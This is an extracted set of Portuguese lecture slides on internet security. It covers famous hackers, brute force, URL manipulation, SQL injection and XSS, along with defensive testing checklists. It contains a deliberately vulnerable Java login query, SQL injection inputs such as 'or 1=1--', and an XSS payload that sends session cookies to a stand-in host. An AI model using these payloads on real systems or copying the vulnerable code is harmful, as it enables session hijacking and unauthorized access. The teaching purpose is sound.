segurança da internet
TRANSCRIPT
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013
Segurança da Internet
Ricardo Terra rterrabh [at] gmail.com
Segurança da Internet 1 Outubro, 2012
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013
CV
Nome: Ricardo Terra Email: rterrabh [at] gmail.com www: ricardoterra.com.br Twitter: rterrabh Lattes: lattes.cnpq.br/ 0162081093970868
Ph.D. (UFMG/UWaterloo), Post-Ph.D. (INRIA/Université Lille 1)
Background Acadêmico: UFLA (desde 2014), UFSJ (1 ano), FUMEC (3 anos), UNIPAC (1 ano), FAMINAS (3 anos)
Profissional: DBA Eng. (1 ano), Synos (2 anos), Stefanini (1 ano)
Segurança da Internet 2 Outubro, 2012
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012
Segurança de Redes (Histórico)
§ Robert Tappan Morris § Primeiro worm (similar a um vírus, porém é um programa
completo, não precisa de um outro programa para se propagar) da Internet
§ O programa principal consistia em menos de 100 linhas de código em C
§ 6.000 computadores infectados, só nos EUA, em 24 horas § Efeitos:
§ Infecção § Sobrecarga § Incapacitação
§ Atualmente professor do MIT
3 Segurança da Internet
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 4 Segurança da Internet
Segurança de Redes (Histórico)
§ Kevin Poulsen § primeiro grande hacker da Internet § Invadiu, entre outros,
§ a marinha americana § diversas Universidades, como UCLA § rádio americana KIIS-FM, 102º ligador e ganhava um
Porche 944 S2 § A partir daí, criou-se a lei americana contra “invasões” em
redes § Trabalhou posteriormente
para o governo americano § Foi jornalista da SecurityFocus
e atualmente é editor sênior da Wired News
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 5 Segurança da Internet
Segurança de Redes (Histórico)
§ Kevin Mitnick § O mais famoso § Foi preso e já foi solto § Invadiu
§ FBI § Universidades, etc
§ Seu ataque foi muito sofisticado e sem “solução” até os dias atuais
§ Utilizava práticas de engenharia social
§ Atualmente proprietário da Mitnick Security Consulting
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 6 Segurança da Internet
Segurança de Redes (Histórico)
§ Mais sobre Kevin Mitnick § Dos 37 aos 40 anos foi proibido de acessar qualquer meio
de comunicação com exceção de telefone fixo § Liberdade condicional
§ Sua empresa – Mitnick Security Consulting – foi invadida
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 7 Segurança da Internet
Teoria evolucionista de Darwin
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 8 Segurança da Internet
O que é?
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 9 Segurança da Internet
Quem geralmente é?
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 10 Segurança da Internet
Ataque às pessoas...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 11 Segurança da Internet
Ataque às empresas...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 12 Segurança da Internet
Atualmente nas grandes áreas
§ Database Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 13 Segurança da Internet
Atualmente nas grandes áreas
§ Network Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 14 Segurança da Internet
Atualmente nas grandes áreas
§ Application Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 15 Segurança da Internet
Atualmente nas grandes áreas
§ Web application Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 16 Segurança da Internet
Começando...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 17 Segurança da Internet
Introdução
§ Os ataques a serviços de rede estão se tornando muito sofisticados § criatividade humana
§ Mas o que falta? § APLICAÇÕES! Mas será que é possível?
§ Atualmente a maioria dos BUG’s reportados estão em aplicações § Application Security ≠ Network Security
§ Quem provê acesso aos dados? As aplicações!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 18 Segurança da Internet
Lendas
§ Não há problemas de segurança § Até que ela seja violada
§ Erros de runtime (tempo de execução) não são problemas § Expõem informações altamente relevantes § Consumem recurso do servidor
§ Deve ser tratados
§ Web Services não são vulneráveis § Quase nunca testados e raramente a segurança é
considerada
§ Solução § Testes de penetração. São caros!!!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 19 Segurança da Internet
Objetivos
§ Demonstrar alguns desses ataques
§ Pois, para nos protegermos temos de entender as táticas e as armas de nosso inimigo
§ Além disso, temos que ter nossas armas para nos defender
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 20 Segurança da Internet
Ataques
§ Força Bruta
§ URL Manipulation
§ SQL Injection
§ XSS Cross Site Scripting
§ E o HTTPS? Se utilizarmos, nossa aplicação é segura?!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 21 Segurança da Internet
Arquitetura TCP/IP
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 Segurança da Internet
Força Bruta
§ Tentar todas as possibilidades...
22
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 Segurança da Internet
Força Bruta
§ Exemplo Motivador: SINEF
§ Técnicas para evitar § Limite de Tentativas
§ Você utilizou 5 tentativas. Usuário bloqueado.
§ Tempo de Ociosidade § Você utilizou 5 tentativas. Usuário bloqueado por 30 minutos.!
§ Imagem
23
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012
Força Bruta
§ Como fazer? § Descobrir o formulário e o nome do seus campos § Bolar um algoritmo para gerar todas as combinações § Ir tentando…
§ Tome cuidado que é possível descobrí-lo pelo seu IP
§ Não use para o mal: § www.peladeiro.com.br § qualquer outro... deixo com vocês...
Segurança da Internet 24
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 25 Segurança da Internet
URL Manipulation
§ O método GET do Protocolo HTTP requisita informações importantes na URL § Portanto, os parâmetros podem ser manipulados para se
obter resultados satisfatórios ou, no mínimo, "interessantes"
§ O impacto é ALTO
§ Vamos ver um exemplo didádico e procurar alguma brecha dessas na Internet § Não necessariamente uma brecha seja uma vulnerabilidade
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 26 Segurança da Internet
URL Manipulation
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 27 Segurança da Internet
URL Manipulation
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 28 Segurança da Internet
URL Manipulation
§ Alguns possíveis testes: § Verificar se algum parâmetro é passado via HTTP GET
§ Verificar se os dados sensíveis armazenados no cookie estão encriptados
§ Verificar que dados sensíveis não são armazenados no cache
§ Verificar se os dados encriptados estão voltando corretamente
§ Verificar que além dos parâmetros os campos também estão sendo encriptados
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 29 Segurança da Internet
SQL Injection
§ A idéia é injetar um comando SQL ou algum comando como o valor de entrada de algum campo de um formulário WEB
§ Todos os parâmetros passados são direcionados para o banco de dados
§ O atacante pode manipular com as tabelas e dados diretamente
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 30 Segurança da Internet
SQL Injection
§ Causas:
public boolean onLogon(String nome, String senha){ boolean result = false; Connection conn = null; try { conn = ServiceLocator.getConnection(); Statement st = conn.createStatement(); ResultSet rs = st.executeQuery("select 1 from USUARIO where NOME = '" + nome
+ "' and SENHA = '" + senha + "'"); result = rs.next(); ... } catch (SQLException e) { ... } finally { ... } return result; }
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 31 Segurança da Internet
SQL Injection
ESPERADO nome: chaves senha: kiko! Quando submetido a query será montada como a seguinte: select 1 from USUARIO !
! !where NOME = 'chaves' and SENHA = 'kiko'
NÃO ESPERADO nome: abc'-- senha: kiko! Quando submetido a query será montada como a seguinte: select 1 from USUARIO !
! !where NOME = 'abc’-- and SENHA = ''
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 32 Segurança da Internet
SQL Injection
ESPERADO nome: doug senha: f@c01! Quando submetido a query será montada como a seguinte: select 1 from USUARIO !
! !where NOME = 'doug' and SENHA = 'f@c01'
NÃO ESPERADO nome: a senha: b' or 1=1--! Quando submetido a query será montada como a seguinte: select 1 from USUARIO !
! !where NOME = 'a' and SENHA = 'b' or 1=1--'
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 33 Segurança da Internet
SQL Injection
§ Além disso, tem como: § Identificar campos de uma tabela § Verificar se a tabela existe § Procurar por usuários § Ataques de força bruta § Verificar permissões § Criar um usuário § Alterar dados § Determinar qual SGBD e a versão do SGBD § Interagir com o S.O.
§ Manipular informações da rede § Modificar o registro do Windows § Obter senha do VNC
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 34 Segurança da Internet
SQL Injection
§ Alguns testes: § Identifique os parâmetros, html e xml tags utilizados na
aplicação web § Substitua o conteúdo dos parâmetros por todos caracteres
utilizados em um ataque de injeção de SQL § Verifique que as queries foram substituídas por stored
procedures § Verificar se as mensagens de erro fornecem alguma
informação § Verifique que os usuários da aplicação web tem o menor
nível de acessibilidade possível no banco de dados § (continua...)
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 35 Segurança da Internet
SQL Injection
§ Verificar se todos os campos do formulário estão sendo validados
§ Verificar se existe limite para uploads § Verificar que a aplicação não aceita: dados binários,
caracteres de comentário etc § etc
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 36 Segurança da Internet
XSS Cross Site Scripting
§ É uma vulnerabilidade tipicamente encontrada em aplicações web que permitem injeção de código por usuários maliciosos em páginas vistas por outros usuários
§ Exemplos de tais códigos são código HTML e scripts executados no lado do cliente (JavaScript, por exemplo)
§ Uma exploração comum é utilizar uma vulnerabilidade de execução de scripts para ultrapassar a política de segurança
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 37 Segurança da Internet
XSS Cross Site Scripting
§ Não existe a ligação entre o ID do login e o ID da sessão
§ A sessão do usuário pode ser roubada § A ideia é obter de alguma forma o ID da sessão
§ Impacto é alto § Pois, o usuário malicioso tem TODOS os privilégios do
usuário autorizado
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 38 Segurança da Internet
XSS Cross Site Scripting
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 39 Segurança da Internet
XSS Cross Site Scripting
§ Um exemplo: § Pode se receber um e-mail com um link
§ O resultado é enviado para um site
http://www.mymail.com?search="<script>window.navigate("http://badsite.net/steal.asp?cookie="+document.cookie)</script>"
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 40 Segurança da Internet
XSS Cross Site Scripting
§ Solução: § Sempre valide a sessão com login e os parâmetros críticos
§ Como IP da máquina de origem e, até mesmo, o endereço MAC da máquina do cliente
§ Alguns testes: § Verificar os posts disponíveis na aplicação § Verificar que as sessões são sempre verificadas § Verificar os cookies não proveem dados sensíveis § Verificar que não é possível executar outro script dentro da
aplicação
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 41 Segurança da Internet
Considerações Finais
§ Não há segurança de sistemas sem a conjunção de três fatores § Boas praticas de codificação § Metodologia adequada (projeto, arquitetura etc) § Testes, testes e testes!!!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 42 Segurança da Internet
Dúvidas?
???
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 43 Segurança da Internet
Ricardo Terra [email protected]
Apresentação disponível em:
www.ricardoterra.com.br/palestras
Principais referências bibliográficas: ASSAD, Rodrigo. Testando Segurança em aplicações WEB. Recife: III Encontro Brasileiro de Testes de Software, 2008.
SILBERSCHATZ. A.; KORTH, H. F.; SUDARSHAN, S. Sistemas de bancos de dados. Tradução de Daniel Vieira. Rio de Janeiro: Editora Campus, 2006. Título original: Database system concepts. 5 ed.
Obrigado!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 44 Segurança da Internet
Outras referências bibliográficas
§ http://en.wikipedia.org/wiki/Robert_Tappan_Morris
§ http://en.wikipedia.org/wiki/Kevin_Poulsen
§ http://en.wikipedia.org/wiki/Kevin_Mitnick